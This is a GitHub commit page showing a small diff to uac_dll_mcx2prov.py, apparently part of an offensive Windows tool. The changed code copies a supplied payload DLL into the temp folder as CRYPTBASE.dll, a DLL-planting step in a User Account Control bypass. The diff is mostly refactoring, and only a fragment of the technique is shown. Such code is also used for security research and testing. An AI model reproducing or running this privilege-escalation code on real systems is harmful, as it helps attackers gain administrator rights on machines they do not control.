Skip to content

Commit

Permalink
Update uac_dll_mcx2prov.py
Browse files Browse the repository at this point in the history
  • Loading branch information
rootm0s authored Sep 14, 2018
1 parent e12462b commit 5ffc64f
Showing 1 changed file with 11 additions and 12 deletions.
23 changes: 11 additions & 12 deletions functions/uac_dll_mcx2prov.py
Original file line number Diff line number Diff line change
Expand Up @@ -17,18 +17,17 @@

def mcx2prov(payload):
if (payloads().dll(payload) == True):
if (os.path.isfile(os.path.join(payload)) == True):
try:
payload_data = open(os.path.join(payload),"rb").read()
except Exception as error:
return False
try:
payload_data = open(os.path.join(payload),"rb").read()
except Exception as error:
return False

try:
dll_file = open(os.path.join(tempfile.gettempdir(),"CRYPTBASE.dll"),"wb")
dll_file.write(payload_data)
dll_file.close()
except Exception as error:
return False
try:
dll_file = open(os.path.join(tempfile.gettempdir(),"CRYPTBASE.dll"),"wb")
dll_file.write(payload_data)
dll_file.close()
except Exception as error:
return False

time.sleep(5)

Expand Down Expand Up @@ -80,4 +79,4 @@ def mcx2prov(payload):
return False
else:
print_error("Cannot proceed, invalid payload")
return False
return False

0 comments on commit 5ffc64f

Please sign in to comment.